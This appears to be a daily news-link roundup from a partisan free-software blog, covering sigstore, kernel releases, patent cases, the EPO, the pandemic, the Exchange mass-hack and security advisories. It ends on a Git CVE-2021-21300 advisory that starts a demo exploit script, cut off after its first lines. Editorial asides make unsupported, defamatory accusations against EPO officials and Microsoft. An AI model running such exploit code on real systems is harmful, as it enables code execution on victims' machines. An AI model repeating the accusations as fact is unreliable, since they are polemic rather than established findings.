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An inherent weakness of open source code is that it’s difficult to determine its provenance and how it was built, which means that it’s prone to supply chain attacks. Google aims to solve this problem which is why it has collaborated with Red Hat and Smallstep to introduce Sigstore (stylized “sigstore”) in the Linux Foundation, making it easier to digitally sign and verify source code.
[...]
As it currently stands, sigstore has a fully functioning transparency log, but the WebPKI and client signing tooling is still in prototyping stage and is not ready for general use. The tool is open source and free to use for all developers. The development teams thinks that there are no privacy concerns involved as sigstore does not need access to any personal information except the OpenID Connect grant which will contain the user’s email address. Future plans for sigstore include introducing support for other OpenID Connect providers, updating the documentation, completing the development of the remaining signing infrastructure, and hardening the system for general use. You can find out more about the project on the dedicated website here.
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The Linux Foundation has launched a free-to-use service for open source developers to cryptographically sign software to reassure users further down the supply chain that the software they’re using is legitimate.
Developed in partnership with Google and Red Hat, the sigstore project will allow the open source community to sign software artefacts including release files, container images and binaries before these elements are stored in a public log.
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The Linux Foundation has launched a “sigstore” project for improving software security via crypto software signing and transparency logs. The LF also announced new members for OpenSSF and launched a “DizmeID Foundation” for digital ID credentialing.
The Linux Foundation announced the launch of a sigstore project for cryptographic software signing and announced new members for its Open Source Security Foundation (OpenSSF). Other recent Linux Foundation security announcements include the launch of a DizmeID Foundation for digital ID credentialing and a new commitment from Google and the LF to prioritize funds to underwrite two full-time maintainers for Linux kernel security development (see farther below).
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Security updates have been issued by Debian (kernel and privoxy), Fedora (libtpms, privoxy, and x11vnc), openSUSE (chromium), Red Hat (.NET 5.0, .NET Core, .NET Core 2.1, .NET Core 3.1, dotnet, and dotnet3.1), SUSE (git, kernel, openssl-1_1, and wpa_supplicant), and Ubuntu (git and openssh).
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When installing a content management system for your website, it’s easy to get lazy and assume that it’s going to do all the work for you. A CMS like Joomla certainly does make things more convenient, and lets you publish a polished website very quickly, but that doesn’t mean you shouldn’t take some extra time to secure it.
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Security researcher and Microsoft engineer Mickaël Salaün is proposing unprivileged chroot support for the Linux kernel.
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Fear, Uncertainty, Doubt/Fear-mongering/Dramatisation
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Scanning for Secrets in Source Code [Ed: Wrongly insinuating people all use Microsoft proprietary software (NSA PRISM) prison called GitHub]
As a developer, I admit that I’ve committed secrets to public Github repositories before. Hardcoded secrets have always been a problem in organizations and are one of the first things I look for during a penetration test.
When developers write secrets such as passwords and API keys directly into source code, these secrets can make their way to public repos or application packages, then into an attacker’s hands. As microservice architectures and API-centric applications become mainstream, developers often need to exchange credentials and other secrets programmatically. This means that developers can sometimes make mistakes when handling sensitive data.
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Researchers Unveil New Linux Malware Linked to Chinese Hackers [Ed: It seems possible that right about now, in order to distract from the Microsoft Exchange catastrophe (Microsoft uses xenophobia for blame-passing), they will spam or Googlebomb “Linux” with China malware something]
Cybersecurity researchers on Wednesday shed light on a new sophisticated backdoor targeting Linux endpoints and servers that’s believed to be the work of Chinese nation-state actors.
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Privacy/Surveillance
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Facial-recognition simply compare faces to determine a match, and we know that it can have… unexpected consequences.
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Monopolies
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I thoroughly enjoyed Charles Tait Graves new article: Should California’s Film Script Cases Be Merged into Trade Secret Law?, which was recently published in The Columbia Journal of Law & the Arts. Graves is a partner at Wilson Sonsini and teaches trade secret law at UC Hastings Law.
The article deals with so-called “idea submission” cases. The fact pattern is as follows. Plaintiff, who is sometimes called the “idea man” in older cases, shares an idea with Defendant, hoping for monetary compensation even though there’s no express contract stating terms of payment. Defendant subsequently takes the idea and commercializes it without paying Plaintiff. (There’s an excellent discussion of the idea submission cases in Chapter 4 of Elizabeth Rowe and Sharon Sandeen’s Trade Secret Law casebook).
At least in California, the Plaintiff-idea person will likely have two distinct types of legal claims in this scenario: (1) a claim for breach of an implied-in-fact contract, which in California is called a Desny claim; and (2) a claim for civil trade secret misappropriation, which since 2016 can be brought under both state law (e.g. under the California Uniform Trade Secret Act) and federal law via the Defend Trade Secrets Act (DTSA). Graves recounts in tremendous detail how these two different legal regimes developed on separate ends of the map of California, in Southern and Northern California, respectively. Graves’ thesis is that, even though these two areas of law have been historically addressed separately, they have a lot in common and can learn a lot from one another.
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Patents
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On mandamus, the Federal Circuit has again found that Judge Albright clearly abused his discretion in failing to rule on TracFone’s motion to transfer its case out of the Western District of Texas and to a more convenient venue.
Although Judge Albright has promised rapid progression of patent infringement cases to trial, he has been sitting on transfer motions and leaving them undecided. Here, the appellate panel repeated its prior statement that Judge Albright’s approach “amount[s] to egregious delay and blatant disregard for precedent.”
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In a judgment handed down yesterday, the UK High Court revoked two patents belonging to tobacco product manufacturer British American Tobacco (case no: HP-2020-000012.) The revocation is part of a high-stakes global dispute between BAT and rival Philip Morris, concerning lucrative technology for heat-not-burn cigarettes.
Since the High Court found the patents invalid, it also dismissed BAT’s claim of infringement. However, the judge acknowledged that had he found the two patents valid, Philip Morris would have infringed them.
The two patents in question are both divisional. EP 3 398 460 B1 and EP 3 491 944 B1 concern an aerosol-generating device, and a cigarette “for use with” an aerosol-generating device, respectively.
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This is a sister case to the one pending before the U.S. Supreme Court regarding eligibility of the claims of American Axle’s U.S. Patent No. 7,774,911. That case is at the petitions stage and is awaiting responsive briefing from Neapco.
In this case, American Axle challenged Neapco’s vented slip-joint coupling Patent No. 5,772,520 via Inter Partes Review. The PTAB found claim 11 anticipated and its depdendent claim 12 obvious in light of the prior art — primarily Burton (U.S. Patent No. 5,655,968). On appeal, the Federal Circuit has affirmed.
Neapco’s ‘520 patent was originally owned by Ford Motor Co. Ford sold the patent as part of an overall sale of Ford’s driveshaft unit to Neapco back in 2008. The patent expired back in 2016, but Neapco still sued American Axle in 2017 seeking back damages. That case is stayed pending outcome of the IPR.
[...]
Neapco also argued that the function of its valve was pressure relief — something not provided by Burton. ON appeal again, the court found that the claims did not require pressure relief, only a venting out of the main operational chambers.
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Trademarks
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Managing IP analyses five-year litigation filings in the UK, Germany, Italy, France and the Netherlands – and asks what’s behind the trends
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Posted in Free/Libre Software, GNU/Linux, Kernel, Microsoft at 3:34 pm by Dr. Roy Schestowitz
Summary: The above was published by Jason Perlow a few hours ago, continuing a long tradition of Linux rejection at the so-called ‘Linux’ Foundation
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Posted in Deception, Europe, Law, Patents at 1:45 pm by Dr. Roy Schestowitz
Video download link
Summary: The EPO reaffirms its commitment to injustice and exploitation of human/women’s rights causes (for shallow Public Relations stunts)
THERE must be some serious conflict or scandal at the EPO judging by the fact that over the past few hours the EPO’s “news” section had thrown into it no less than three puff pieces (sometimes the EPO doesn’t publish even one in a whole month!). One is an abuse against disabled people (warning: epo.org link), another piggybacks women’s rights, and (warning: epo.org link) another one (warning: epo.org link) shows that just like Benoît Battistelli, the criminal who ran the Office for 8 years, António Campinos gets his way by proactively besieging judges.
These judges have openly admitted, even repeatedly, that they lack true autonomy. A recent decision indirectly confirmed that those judges are still lacking independence (EPO management shut the lid on this question and bombarded its “news” section to distract the media). So they’re being pressured to allow European software patents, even though the law or the EPC says otherwise. As do European courts, Parliament etc. (not to mention software developers themselves; they loathe these patents).
The EPO’s megaphones have already written about this. Of course no mention of the autonomy issues; they suck up to the corrupt officials in return for favours…
“This is a recipe for ongoing disaster.”This is just more of the same old EPO we saw under Battistelli. No dialogue with the union, no independence for judges (separation of powers), just more and more corruption being disguised with a thin coat or broad brush of pseudo-feminism (at the EPO women need to sleep with powerful men to get promoted).
This is a recipe for ongoing disaster. The EPO insiders know it. They tell us about it. Moments ago another report was published about European Patents being tossed out. This is how the EPO can rapidly become obsolete.
A reader of ours told us that “if you have 90 min free for watching a movie, I suggest you watch this one.”
It’s a movie called Corporate. “It is about a big company,” the reader noted, “a human resources manager and an employee who commits suicide. Does it remind you of something? Yes! Me too! But there is a big difference with the EPO: in this movie, many instances are allowed to enter the premises of the company and to carry [out] an investigation. At the end, the big boss is convicted… The reality is far worse than the fiction.”
Same thing happened, belatedly, in France’s largest telecom company (France Télécom), which saw a "suicide wave" after Battistelli's friend (Breton) had messed around with it. In the case of the EPO’s judges, remember that their colleague was bullied and defamed so badly (by Battistelli and his Croatian bulldog) that he ended up hospitalised. The humiliation and the financial damage (lawsuits are very expense) left him in ruin. So how are we supposed to expect his colleagues to say no to António Campinos, more so during a public health crisis and an attack on EPO pensioners? Human resources or just cannon fodder? █
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Contents
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Desktop/Laptop
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If you happen to own the Star LabTop Mk III Linux laptop from Star Labs, today I have some good news for you as you can now install the Coreboot open-source firmware for a faster and more secure boot experience.
Previously only available on the Star Labtop Mk IV Linux laptop, the Coreboot open-source firmware has been engineered as a drop-in replacement for the proprietary firmware that comes with most computers, whether they run a Linux OS or not.
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Server
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Banca, one of Italy’s largest banks, has migrated about 30 services from its mainframes to a Linux environment with tools from LzLabs and technical and business support services from CWS. The applications chosen for the first phase of migration control BPER’s front end customer portals, used to manage its retail banking account access.
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Running containerized web applications outside of an HPC cluster is a great way for agencies to get started while enjoying a return on their HPC hardware investment. Containers can augment the power of HPC clusters, allowing applications and their corresponding data to be used as input to larger jobs running in the HPC cluster.
A good example is the containerization of the open source Apache Kafka event streaming platform. Event streaming has the potential to be unpredictable and bursty. Containerizing Kafka to scale out to meet demand surges is not only critical to ensure messages do not get dropped, but also ensures the HPC cluster does not stall due to bottlenecks on the ingest side.
Containers allow developers to package applications with all of the necessary application files and shared library dependencies required to run those applications. They can then be easily moved from one team’s container hosts to another and even shared globally via a container registry, all of which can increase reuse and accelerate science. This can significantly reduce the time and effort required to set up HPC workloads, and makes sharing the necessary workloads easier, since all of the dependencies are stored in the highly portable container.
For example, researchers can run very fine-grained data models on their main HPC clusters while using containers for smaller, more coarse models running databases, orchestrators, user portal applications and other public-facing web apps. This is a more cost-effective means of performing research, since it would be far too expensive to run everything in the HPC cluster.
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Audiocasts/Shows
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In all my video editor videos I rave on about plain text project files so today I thought I’d take the time to explain why I care so much about them and how they fundamentally change the way I would with the application files on my linux system.
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Kernel Space
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It wasn’t an ordinary week at Linux creator’s Linus Torvalds house in Portland, OR. A snowstorm had knocked out power to Torvalds’ home for the better part of a week. Despite that, Torvalds still got the first release candidate of the latest Linux kernel 5.12 out the door. That turned out to be a real mistake. The release, which was meant only for people who are testing the Linux kernel for bugs, turned out to have a bug for the ages, which would wreck test systems. Now it’s been fixed.
[...]
This blunder, Torvalds said, started with “a very innocuous code cleanup and simplification that raised no red flags at all, but [it] had a subtle and very nasty bug in it: Swap files stopped working right. And they stopped working in a particularly bad way: the offset of the start of the swap file was lost. Swapping still happened, but it happened to the wrong part of the filesystem, with the obvious catastrophic end results.”
Whoops!
In other words, when you’d run the release candidate code and you ran out of memory, your computer would do what it was supposed to do and write idle data and programs to the swap file. So far, so good. That happens on busy Linux systems every second of the day. Here, though, instead of being written safely to the swap file, data was written on top of your existing files. Thus, with this bug, your computer could shortly come to a complete and utter stop.
Or, as Torvalds put it, “you can end up with a filesystem that is essentially overwritten by random swap data. This is what we in the industry call ‘double ungood.’” That’s for sure!
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To help Linux maintainers stay ahead of the black hats, Google has funded two full-time Linux security developers well-versed in open source security.
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OpenZFS 2.0.4 is out as the latest version of this open-source ZFS file-system implementation for Linux and FreeBSD systems.
[...]
OpenZFS 2.0.4 retains compatibility going back all the way to Linux 3.10 while on the BSD side remains focused on FreeBSD 12/13.
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Graphics Stack
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We are already quite eager for NVIDIA’s 470 series Linux driver due to Wayland / DMA-BUF improvements coming to this next major feature release for their proprietary driver stack. Making it all the more exciting is it looks like the NVIDIA 470 series driver will have OpenCL 3.0 support.
NVIDIA today released an updated WSL driver for use on Windows 10. What makes this notable though is the driver adding support for OpenCL 3.0.
Today’s R470 beta (470.05) driver drop is the WSL/Windows driver build but considering NVIDIA’s driver stack is largely shared across platforms and OpenCL is equally — or even more — important on Linux systems, it’s likely safe to assume their Linux driver will also be supporting OpenCL 3.0 either for its inaugural 470 series beta or shortly thereafter. Such features not explicitly tied closely into the OS/platform tend to be supported across NVIDIA’s Windows and Linux drivers roughly around the same time.
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Applications
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Google has a firm grip on the desktop. Their products and services are ubiquitous. Don’t get us wrong, we’re long-standing admirers of many of Google’s products and services. They are often high quality, easy to use, and ‘free’, but there can be downsides of over-reliance on a specific company. For example, there are concerns about their privacy policies, business practices, and an almost insatiable desire to control all of our data, all of the time.
What if you are looking to move away from Google and embark on a new world of online freedom, where you are not constantly tracked, monetised and attached to Google’s ecosystem.
In this series, we explore how you can migrate from Google without missing out on anything. We’ll recommend open source solutions.
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Flatpak 1.10.2 isn’t a big update, but it’s here to address a security vulnerability that could lead to potential attacks where a Flatpak app could gain access to files on the host operating system via a custom formatted .desktop file.
This release also fixes some memory leaks and includes various test fixes, and includes a fix for an issue with X11 cookies on the openSUSE Linux operating system. Therefore, it is highly recommended that you update your Flatpak installations to version 1.10.2 as soon as it lands in the your distro’s stable repositories.
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Instructionals/Technical
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The last month we have written a Complete guided article on How to Install Opensuse Leap 15.2; after that, we have received multiple requests for a Tumbleweed guide.
opensuse Leap and opensuse Tumbleweed Installation are completely identical because both use the YAST2 installer. Once you know how to Install Tumbleweed, you can easily Install openSUSE Leap.
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In this tutorial, we will show you how to install Anaconda on Manjaro 20. For those of you who didn’t know, Anaconda is a popular Python/R data science and machine learning platform, used for large-scale data processing, predictive analytics, and scientific computing. Anaconda is available in four editions namely individual (open source) edition, commercial edition, team edition, and enterprise edition. Anaconda individual edition is the world’s most popular Python distribution platform with over 20 million users worldwide.
This article assumes you have at least basic knowledge of Linux, know how to use the shell, and most importantly, you host your site on your own VPS. The installation is quite simple and assumes you are running in the root account, if not you may need to add ‘sudo‘ to the commands to get root privileges. I will show you through the step-by-step installation of Anaconda on a Manjaro 20 (Nibia).
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Elapsed time is the amount of wall-clock time that has passed between the beginning and the end of a particular event. In other words, elapsed time is a measurement of actual time taken for the event to complete. It is common to to measure elapsed time as part of application performance analysis and profiling. While you are working on a bash script, you may also want to add instrumentation in your script to calculate elapsed time for various components (e.g., a bash function, an external command, etc). In this tutorial, let’s find out how to measure elapsed time in a bash script.
The most common way to measure elapsed time in bash is to utilize the date command, which can show the current system date and time in a configurable format. Using the flexiblity of date’s display format, you can easily calculate elapsed time with different resolutions.
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Computer hardware is a combination of various components, such as motherboard, CPU, GPU, memory, and other I/O devices. It is good for Linux users to have a basic knowledge of the hardware components of the system that they are currently using. This will help administrators to manage the required devices accordingly.
This article shows you how to check the hardware information in Ubuntu using various methods. These options are discussed in the sections that follow.
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Red Hat invented the ‘systemd’ as a manager for system and service on Linux OS. It is compatible with the old SysV and LSB init scripts with more features such as simultaneous start-up of system services at boot time, daemon (background process) activation on-demand, or service control logic based on dependency.
Systemd brings the concept of systemd units in Linux. For e.g., service unit, target unit, mount unit etc. are unit types with file extension as .service, .target, .mount respectively. The configurational file representing these units are stored inside the directories: /usr/lib/systemd/system/, /run/systemd/system/, /etc/systemd/system/
Earlier versions of Red Hat Enterprise Linux (RHEL) used init scripts. These scripts were written in BASH and were located in the directory “/etc/rc.d/init.d/”. These are scripts used to control the services and daemons. Later in RHEL 7, service units were introduced to replace the init scripts. Fedora, which is an upstream OS of Red Hat Enterprise Linux, has started using the systemd from the Fedora version 15.
Service units have .service file extensions and have similar roles as init scripts. “Systemd” uses the “systemctl” utility to manage system services. It can be used to view, start, stop, restart, enable or disable these services.
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By accessing a remote desktop, we essentially mean that we want to access the desktop environment that is running on another computer system from our computer system. This strategy is generally used to provide technical support to customers by remotely accessing their computer systems. There can be several other use cases of adopting this strategy. In today’s article, we will learn how to access a remote desktop from a Debian 10 system.
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Whenever you bring in a new computer system, there is a default hostname associated with it that is mapped onto a specific IP address. However, you can always change this hostname for your convenience. Once you change the hostname of your Linux-based system, you should always restart the “hostname.service” module for the new changes to take effect. Sometimes, when restarting this service, you may encounter the “failed to start hostname.service unit hostname.service is masked” error. This article highlights the root cause of this error and shows you how to resolve this error.
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Have you ever been in a situation to work with CSV files and produce output in structured tabular format? Recently I was working with data cleansing on a file that is not in a proper structure. It has so many whitespaces between each column and I have to convert it to CSV format to push to the database. After cleaning and creating the output in CSV format, my output is not visually appealing to verify data integrity in the CSV file. This is the time the “Column” command comes in handy to me.
According to manpage, the column command “columnate lists”. In simple words, the column is a simple utility that can format your output into a column format (rows and fields) based on the structure of your source file. The column command is part of the util-linux package.
An important point to note here is column command behaves differently in Debian-based and Rhel-based distros. The reason is Debian-based distro uses “column” from bsdmainutils instead of util-linux. The upstream version of the column command is newer than the bsdmainutils package. Take a look at the bug report to know more about this.
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Managing routes is an essential configuration task for network admins who are managing firewalls.
If you are using the PaloAlto firewall, this tutorial explains how to add static routes using both the PAN-OS command line interface and from the PaloAlto Firewall Console.
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If your small business is looking for a better way to manage projects and you prefer an open source solution, there’s one piece of software you can install on a data center server that will meet your needs well. That solution is Kanboard.
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Sometimes, a stupidly simple tool that took two minutes to make can prove to be a rather useful timesaver. My latest short shell script is a case in point. As a technical writer, I have to make sure that the words I use don’t introduce ambiguity. This means that every now and then I need to look up a word to check its precise meaning. Usually I’d use the available online references for that, but I wanted to make the process more efficient.
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Today we are looking at how to install MetaTrader 4 (MT4) with the EXNESS Broker on a Chromebook. Please follow the video/audio guide as a tutorial where we explain the process step by step and use the commands below.
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In this article, we will build an amazing Multi Step Registration form with smooth animated transitions using the MERN stack (MongoDB, Express, React, and Node.js).
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Linux distributions are developed to appeal to users with high-end systems. The newer Linux distributions are becoming really difficult to run on older machines. Without enough system memory and an additional core or two, these distributions may not deliver on performance.
Many lightweight Linux distributions can be used to reincarnate older machines. The lightweight distros that will be discussed in this guide can give a new life to your older devices. Depending upon your requirements, various applications can also be installed, and they may even serve as an alternative for your current environment. This guide discusses the top seven lightweight Linux distributions available in 2021.
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Linux Mint is undoubtedly one of the best Linux distributions for beginners. This is especially true for Windows users that walking their first steps to Linux world.
Since 2006, the year that Linux Mint made its first release, a selection of tools has been developed to enhance user experience. Furthermore, Linux Mint is based on Ubuntu, so you have a large community of users to seek help.
I am not going to discuss how good Linux Mint is. If you have already made your mind to install Linux Mint, you probably get a little confused on the download section on its website.
It gives you three options to choose from: Cinnamon, MATE and Xfce. Confused? I’ll help you with that in this article.
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Screenshots/Screencasts
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Today we are looking at MakuluLinux 2021-03-05 Lindoz. It comes with Linux Kernel 5.8, Cinnamon 4.8, uses about 1.8GB of ram when idling.
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In this video, we are looking at MakuluLinux 2021-03-05 Lindoz.
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Canonical/Ubuntu Family
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Decided to use Linux Mint but confused with the available choices of Cinnamon, MATE and Xfce variants? This will help you with which Linux Mint version should you use.
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I appreciate many people already know how to do this, but I’m surprised how many don’t, or don’t realise what it does. Forgive me if you know about this feature of Google Chrome.
A little while back I managed to win two separate eBay auctions for 16GiB DDR3 SODIMMs to install in my ThinkPad T450. This took it from the previously installed 16GiB to the expansive 32GiB.
[...]
Sometimes I’ll use the Super+Numeral to fast-switch to a specific app from the launcher. Maybe I’ll also click a specific icon in the launcher to bring it to the front. But predominantly I’m a creature of habit, and that habit is Alt-Tab-Tab-Tab, Shift-Tab to sail past the application I want, stamp on the brakes and go back to the one I need.
So having all my favourite applications as tabs doesn’t fit my workflow (as I believe they call it). Pressing Alt-Tab then clicking a tab, or Alt-Tab then Alt-Num – especially when I have more than 10 tabs open – isn’t gonna work for me. I like to see the familiar icon of an application, and switch to it directly, not via a Alt-Two-Step.
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Open Hardware/Modding
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MIPS as a company has passed through a lot of hands, most recently as part of Wave Computing, the ill-fated AI startup. Wave was developing its unique AI acceleration hardware on top of a general-purpose MIPS CPU, and then it bought the entire MIPS organization. The move seemed both unusual and unnecessary, and something of a distraction, given that they’d already licensed the necessary IP. Over time, it started to look like the MIPS side of the business was the most stable part of the company. Wave finally collapsed into bankruptcy last year, emerging just last week under a new name: that of its acquired technology, MIPS. Say hello to the new MIPS.
Development of the MIPS processor architecture has now stopped, and MIPS (the company) will start making chips based on RISC-V. This is a complete change of business model, not just CPU. The old MIPS was in the business of licensing IP, just like ARM or Ceva or Rambus. It didn’t make anything tangible. Companies like the old Wave Computing were its customers, and processors like ARM and RISC-V were its competitors. Now that equation is inverted.
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Mobile Systems/Mobile Applications
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I’ve learned that video tutorials are a great way to teach my students, and open source tools have helped me take my video-production skills to the next level. This article will explain how to get started and add artfulness and creativity to your video tutorial projects.
I’ll describe an end-to-end workflow for making video tutorials using open source tools for each subtask. For the purposes of this tutorial, making a video is the “task,” and the various steps to make the video are the “subtasks.” Those subtasks are video screen capture, video recording, video editing, audio recording, and effort estimation. Other tools include hardware such as cameras and microphones. My workflow also includes effort estimation as a subtask, but it’s more of a general skill that parallels the idea of effort estimation when developing software.
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CMS
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Meet “Esperanza”, the first WordPress release of 2021. “Esperanza” is named in honor of Esperanza Spalding, a modern musical prodigy. Her path as a musician is varied and inspiring—learn more about her and give her music a listen!
With this new version, WordPress brings you fresh colors. The editor helps you work in a few places you couldn’t before without getting into code or hiring a pro. The controls you use most are right where you need them. Layout changes that should be simple, are even simpler to make.
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Education
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For the second year in a row, OpenUK will organise its Kids Camp in July 2021. This year’s camp includes a 10-lesson course and accompanying digital magazines, just like in 2020. Last year, OpenUK also organised a giveaway when they gave away over 3000 MiniMU musical glove kits to young people, schools and community groups in the UK, which OpenUK hopes to repeat. An ongoing focus of the course will be sustainability, which will also be the theme of the accompanying Kids Competition.
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FSF
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Linaro Ltd, the open-source collaborative engineering organization
developing software for the Arm® ecosystem, today announced the first GNU
Toolchain integration build.
The builds are available to download the first week of every month from
Linaro Snapshots.
GNU Toolchain is a collection of open-source programming tools that
developers can use to compile, link and debug their software
projects. Since 2010, Linaro has been consistently listed as one of the top
ten contributors to the GNU Toolchain.
Every six months, Arm releases the official GNU Toolchain release for Arm
architectures for the purpose of production. Linaro will bridge the gap
between the official releases by delivering monthly integration builds
which offer users a snapshot of the upstream build. Although not supported,
having access to these builds will allow developers to test features from a
pre-built binary as soon as it lands upstream. The builds will also enable
companies to check their BSP (Board Support Package) release will work with
newer toolchains without having to wait for an official release.
“Linaro’s goal is to empower the Arm ecosystem, making it easier for those
with a need for a binary toolchain to have access before an official
release", said Mike Holmes, Director of Foundation Technologies at
Linaro. “By having access to the monthly GNU Toolchain integration builds,
developers can feel more confident that their system will be stable against
the future full release.”
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On Saturday and Sunday, March 20th and 21st, 2021, free software supporters from all over the world will log in to share knowledge and experiences, and to socialize with others within the free software community. This year’s theme is “Empowering Users,” and keynotes will be Julia Reda, Nathan Freitas, and Nadya Peek. Free Software Foundation (FSF) associate members and students attend gratis at the Supporter level.
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Programming/Development
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We are excited to announce that Fortran-lang has been accepted as a Google Summer of Code (GSoC) 2021 mentoring organization! 🎉
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Your code, doing exactly what you told it to (as always).
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Standards/Consortia
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There are a couple of significant benefits of opting for an open source alternative to Office; the products are almost always free and often benefit from continual improvement from a large network of committed developers.
We caught up with Italo Vignoli of The Document Foundation, which oversees popular open source productivity software suite LibreOffice, to hear more about the project and where it is headed in the future.
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Twenty years after being blasted out of Afghanistan’s rugged central highlands, one of the country’s famed Buddha statues made a brief virtual return Tuesday night as a three-dimensional projection filled the alcove that hosted the statue for centuries.
The projection topped off a day commemorating the destruction of the two famous Buddha statues by the Taliban in March 2001 in central Afghanistan’s Bamiyan valley.
“We do not want people to forget what a horrific crime was committed here,” said Zahra Hussaini, one of the organisers of the “A night with Buddha” event.
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Education
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I am a proud product of the Chicago public schools, which is to say that despite the controversy and corruption that have plagued the nation’s third-largest school district throughout its history, I think I fared pretty well within its halls. I was privileged to attend what were then high-performing magnet institutions from first through 12th grade. My elementary school had a nearly 100 percent Black student population, and the majority of the teachers, staff, and administrators reflected that. In high school, my Black classmates and I were about 60 percent of the student body; today, my alma mater has the same Black woman principal who had to call my mom when I smoked an herbal cigarette inside a school building just a few weeks after she’d written a recommendation for me to attend Howard University. I never had to be the only Black kid anywhere growing up, and as an adult I created a life in which I am rarely the only Black person in any situation that I might have to endure for more than a few hours.1
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Cornel West, the outspoken public intellectual, made good on his promise to leave Harvard after he said the university denied a faculty committee’s request that he be considered for tenure.
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In March of 1991, at the age of 13, my life changed. I watched footage of police violence so staggeringly brutal that I had a million questions and no answers. My father tried to explain the histories of racism and violence, but there was no making sense of what happened to Rodney King; how could anyone continue the assault after he had gone completely limp? The world saw with graphic clarity what oppressed communities had known and rightly complained about for decades. I would never have believed it, but then I saw it.
My younger students cannot imagine a world without cellphones to record so much of what happens. Footage of brutality surfaces on a near daily occurrence, but 30 years since my wake-up call I see that we have watched and done nothing. We learn, but do we act?
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Health/Nutrition
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The U.S. Department of Agriculture estimates that 54.4 million Americans live in low-income areas with poor access to healthy food.
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In Jackson, Mississippi, and throughout the South, communities are struggling to meet their residents’ most basic needs.
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“Violence against women is endemic in every country and culture, causing harm to millions of women and their families, and has been exacerbated by the Covid-19 pandemic.”
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Texas is the largest state to lift its mandate on face masks and fully reopen businesses, joining a growing movement in states governed by Republicans to ease pandemic restrictions even as experts warn it is too soon to do so, despite the accelerating pace of vaccinations in the United States. “This is completely politically motivated,” says Dr. Dona Murphey, a physician scientist and community organizer in Houston who is helping to lead a campaign demanding Texas reinstate the mask mandate. She says Republican Governor Greg Abbott is ending the state’s pandemic restrictions as “a maneuver to conceal failures” related to the Texas electrical grid, which went down during a recent winter storm.
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Unless preventative action is taken, there is “a high risk that we will make the same mistake again.”
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These initial hopes have been shredded. While the vaccination programs in Israel, the United Kingdom and even the United States have gathered form and speed, it has stuttered and stumbled in the EU. The companies behind the vaccines have been patchy in their production lines. Authorities have put halts on jabs and in some cases, introduced rationing.
In January, the manufacturers of the Oxford-AstraZeneca vaccine informed the European Commission that it would ship fewer doses to the bloc than originally understood. “While there is no scheduled delay to the start of shipments of our vaccine should we receive approval in Europe,” a spokesperson for AstraZeneca explained, “initial volumes will be lower than originally anticipated due to reduced yields at a manufacturing site within our European supply chain.” The initial cut in supply was dramatic: from the initially promised number of 90 million does, the number would be 40 million.
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HOUSTON — Mauricio Marin felt his heart tighten when the power flicked off at his Richmond, Texas, home on the evening of Feb. 14, shutting down his plug-in breathing machine. Gasping, he rushed to connect himself to one of the portable oxygen tanks his doctors had sent home with him weeks earlier to help his lungs recover after his three-week stay in a COVID-19 intensive care unit.
Between the two portable tanks, he calculated, he had six hours of air.
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France concealed the levels of radioactivity that French Polynesia was exposed to during French nuclear tests in the Pacific from 1966-1996, with almost the “entire population” of the overseas territory infected, a report said on Tuesday.
Online investigation site Disclose said it had over two years analysed some 2,000 pages of French military documents declassified in 2013 by the defence ministry concerning nuclear tests on the archipelago.
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Vaccine misinformation is particularly noticeable within the world of Instagram’s health and wellness influencers. Scrolling through their space, it’s easy to find posts from self-described “wellness coaches” spreading false claims about the vaccine — posts that evade the Instagram pop-up that appears over posts designed to direct readers to credible information from health officials.
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INMO deputy general secretary Dave Hughes said: “Vaccine supply is the key issue in Ireland and around the world, and intellectual property rights cannot be the deciding factor in when we finally emerge from this pandemic.
“Delays in obtaining high levels of vaccine coverage anywhere in the world mean all of us in every country face a longer period of restrictions, and continued pressure on our health services.”
INMO president Karen McGowan said: “We need to stand with healthcare workers everywhere in the fight against Covid-19, but this is more than a question of solidarity.
“It’s very clear that the success of the Covid-19 vaccination programme in Ireland and Europe depends on equitable vaccine rollout worldwide. “
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Integrity/Availability
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Proprietary
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On the off chance you were looking for more security to-dos from Microsoft today…the company released software updates to plug more than 82 security flaws in Windows and other supported software. Ten of these earned Microsoft’s “critical” rating, meaning they can be exploited by malware or miscreants with little or no help from users.
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Globally, hundreds of thousand of organizations running Exchange email servers from Microsoft just got mass-hacked, including at least 30,000 victims in the United States. Each hacked server has been retrofitted with a “web shell” backdoor that gives the bad guys total, remote control, the ability to read all email, and easy access to the victim’s other computers. Researchers are now racing to identify, alert and help victims, and hopefully prevent further mayhem.
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“As per the data maintained, since its inception 3,17,439 cyber crime incidents and 5,771 FIRs have been registered up to February 28, 2021 in the country which includes, 21,562 cyber crime incidents and 87 FIRs in Karnataka and 50,806 cyber crime incidents and 534 FIRs in Maharashtra,” he said in a written reply to a question.
The minister said incidents reported on this portal, their conversion into FIRs and subsequent action thereon are handled by the state and Union Territory law enforcement agency concerned as per the provisions of the law.
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If I forget to lock the front door of my house and leave a pile of money on a table inside, would anyone sympathise with me if I came back and found I had been robbed? I would not expect any sympathy, given that the robbery was due to my stupidity.
Yet, the whole technology industry is expected to be sympathetic to Microsoft and not say a word about the abysmal security in its products. One finds the occasional tale in tech rags about Microsoft’s security staffers burning the midnight oil to build patches and the general tone is, “oh poor Microsoft, what nasty people do this to them?”
Microsoft does not bother about security because there is no money to be made by spending time on sorting out bugs. Instead, it keeps releasing new features in existing products, or new products, because this will generate more revenue.
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hile there is no official, public list of victims, the full tally is “definitely in the tens of thousands,” Read said. “There’s definitely a lot of small-, medium-sized entities. That’s the customer base of Exchange.”
A White House National Security Council spokesperson said in an emailed statement that the Biden administration “is undertaking a whole-of-government response to assess and address the impact.”
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The breach affected security camera data provided by Verkada, according to the news outlet. It was reportedly carried out by an international hacking collective that wanted to show how easy it was to breach video surveillance.
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A group of [attackers] say they breached a massive trove of security-camera data collected by Silicon Valley startup Verkada Inc., gaining access to live feeds of 150,000 surveillance cameras inside hospitals, companies, police departments, prisons and schools.
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Security
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Team,
The Git project released new versions on Tuesday, March 9th 2021
addressing CVE-2021-21300.
This vulnerability affects platforms with case-insensitive filesystems
with support for symbolic links, when certain clean/smudge filters are
configured globally (e.g. Git LFS).
The fixed versions are v2.17.6, v2.18.5, v2.19.6, v2.20.5, v2.21.4,
v2.22.5, v2.23.4, v2.24.4, v2.25.5, v2.26.3, v2.27.1, v2.28.1, v2.29.3,
and v2.30.2.
Link to the announcement:
https://lore.kernel.org/git/xmqqim6019yd.fsf@gitster.c.googlers.com/T/#u
We highly recommend to upgrade.
The addressed issue is:
* CVE-2021-21300:
On case-insensitive filesystems, with support for symbolic links,
if Git is configured globally to apply delay-capable clean/smudge
filters (such as Git LFS), Git could be fooled into running
remote code during a clone.
Demo exploit:
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
